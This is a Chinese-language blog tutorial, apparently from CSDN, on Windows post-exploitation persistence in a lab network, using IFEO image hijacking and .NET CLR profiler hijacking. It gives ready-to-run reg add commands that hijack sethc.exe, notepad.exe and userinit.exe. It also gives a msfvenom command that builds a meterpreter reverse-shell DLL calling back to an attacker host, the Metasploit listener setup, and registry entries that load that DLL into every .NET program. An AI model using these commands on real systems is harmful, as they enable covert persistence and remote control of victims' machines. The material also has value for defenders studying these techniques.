内网权限维持——映像劫持&CLR劫持


在这里插入图片描述
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138

一、映像劫持

1.1 IFEO简介

IFEO(Image File Execution Options,镜像文件执行选项)是windows系统的一个注册表项,路径为HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options。在windows NT系统中,IFEO原本是为一些在默认系统环境中允许是可能引发错误的程序执行体提供特殊的环境设定。利用IFEO,开发人员能够在程序运行之前执行程序所配套的环境配置程序。

简单来说,windows系统运行每个程序时,都会在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options中查找相应的程序,如果存在,那么就会进一步查找是否存在Debugger值,并会在程序运行时优先运行Debugger项所指定的程序。

1.2 利用Shfit后门技术进行劫持

1、在windows中按5次shfit键,就会自动执行C:\Windows\System32\sethc.ece,然后会弹出以下小窗口。
在这里插入图片描述
该程序就算在锁屏状态下依然可以运行并且弹出窗口。如果对sethc.exe进行映像劫持,则可以在系统锁屏后依然执行指定程序。
在这里插入图片描述

2、使用下面的命令对sethc.exe进行映像劫持

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\system32\calc.exe"

因为映像劫持的缘故,连按5下shfit键将会弹计算器。
在这里插入图片描述
要想恢复原状,将Debugger的值置空即可。

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d ""

在这里插入图片描述
3、其他辅助键

程序功能热键组合
sethc.exe粘滞键连按5次shfit
magnify.exe放大镜win + “+”
utilman.exe使用程序win + U
osk.exe屏幕键盘win + ctrl + O
displayswitch.exe屏幕拓展win + P
narrator.exe讲述者win + Ctrl +enter
atbroker.exe辅助管理工具

1.3 GlobalFlag

上述shfit后门劫持有很大一个缺点:会破坏原有程序的正常运行,导致被劫持程序无法正常打开。通过Image File Execution Options项中的GlobalFlag子项可以很好解决这一问题。通过将该项的值设置为512,可以让程序在退出后再运行指定的程序。

1、这里尝试劫持notepad.exe。运行以下命令,可以实现再notepad.exe退出后自动执行calc.exe。

# 设置GlobalFlag值为512,则被劫持的程序将会正常运行
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

# 启用windows错误报告进程WerFault.exe,它将是calc.exe的父进程
# 在notepad.exe退出时,将运行监视器进程
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

# 指定监视器进程为calc.exe
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\calc.exe"

在这里插入图片描述
劫持成功后,notepad.exe将会正常执行。当notepad.exe关闭或相关进程被杀死后,将在werfault.exe进程中创建子进程且运行calc.exe。

2、userinit.exe会在每次用户登录后自动执行,主要进行用户配置初始化工作,且这个程序是开机自启。也就是说,通过设置userinit.exe的GlobalFlag和MonitorProcess,攻击者就可以让程序在用户登录时自动运行。

# 设置GlobalFlag值为512,则被劫持的程序将会正常运行
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\userinit.exe" /v GlobalFlag /t REG_DWORD /d 512

# 启用windows错误报告进程WerFault.exe,它将是calc.exe的父进程
# 在notepad.exe退出时,将运行监视器进程
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\userinit.exe" /v ReportingMode /t REG_DWORD /d 1

# 指定监视器进程为calc.exe
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\userinit.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe"

在这里插入图片描述
关机重启电脑,用户登录后成功弹窗。
在这里插入图片描述

二、CLR劫持

2.1 CLR简介

微软最初为了让多种高级语言能够在Windows中运行,定义了CLI(Common Language Infrastructure,通用语言基础组织的语言架构),著名的高级语言,如C#、C++、Powershell等就使用了CLI架构。CLI是一种语言架构,而实现这个架构的技术为CLR(Common Language Runtime,公共语言运行时)。CLR是.NET Framework的主要执行引擎之一,可以理解为类似于JVM的运行环境。CLR的出现是为了让各种语言适应Windows标准,而不是让windows去适应高级语言。

CLR有一个很重要的功能是通过探查器去监视程序运行状态。windows中,在CLR监视下运行的程序属于托管代码,不在CLR监视下运行而直接在裸机上运行的应用或组件属于非托管代码。探查器的主要功能是在程序执行任意函数后加入一些操作。攻击者通常向windows注册一个探查器,要求系统在执行任意.NET程序时会自动加载恶意DLL。

2.2 利用CLR探查器进行权限维持

1、在win 7上,开启CLR探查功能。

SETX COR_ENABLE_PROFILING 1 /M

# 权限不足时使用,使用SET命令设置的环境变量为临时变量,只在当前会话中起作用
SET COR_ENABLE_PROFILING 1 /M 

在这里插入图片描述

2、开启探查器后需要设置CLR所要连接的探查器,即将COR_PROFILER值设置为CLSID或ProgID,使用下面的命令连接探查器。设置CLR连接的探查器为11111111-1111-1111-1111-111111111111。权限不足,就用SET。

SETX COR_PROFILER {11111111-1111-1111-1111-111111111111} /M

在这里插入图片描述
3、给刚刚设置的CLSID(11111111-1111-1111-1111-111111111111)绑定一个DLL程序。首先在kali上使用MSF生成恶意的DLL程序,并将其放到win 7 的C:\tmp目录下。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.1 LPORT=8888 -f dll -o reverse_shell.dll

在这里插入图片描述
在这里插入图片描述

MSF设置监听:

use exploit/multi/handler # msf自带的监听模块
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.1
set lport 8888
exploit

在这里插入图片描述

在win 7注册表中添加一个新的CLSID,并将该CLSID的InProcServer32项的值设置为C:\tmp\reverse_shell.dll。根据设置,探查器会将CLSID所指向的DLL加载到所有.NET程序中。注意:32位系统和64位系统的设置方式不一样

# 32位系统设置
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\tmp\reverse_shell.dll" /F # CLSID指向C:\tmp\reverse_shell.dll
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

# 64位系统设置
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\tmp\reverse_shell.dll" /F # CLSID指向C:\tmp\reverse_shell.dll
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F
reg add "HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\tmp\reverse_shell.dll" /F # CLSID指向C:\tmp\reverse_shell.dll 
reg add "HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

在这里插入图片描述
设置完成后,指向任意.NET程序,例如Powershell,执行成功后会反弹shell。
在这里插入图片描述

在这里插入图片描述

这里有一个问题,就是powershell加载恶意dll后,不能正常执行。

此外,如果目标系统存在.NET 4环境,可以直接向环境变量中添加COR_PROFILER_PATH,并设置其值位指定的DLL程序,设置完成后所有.NET程序都会被加载。

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值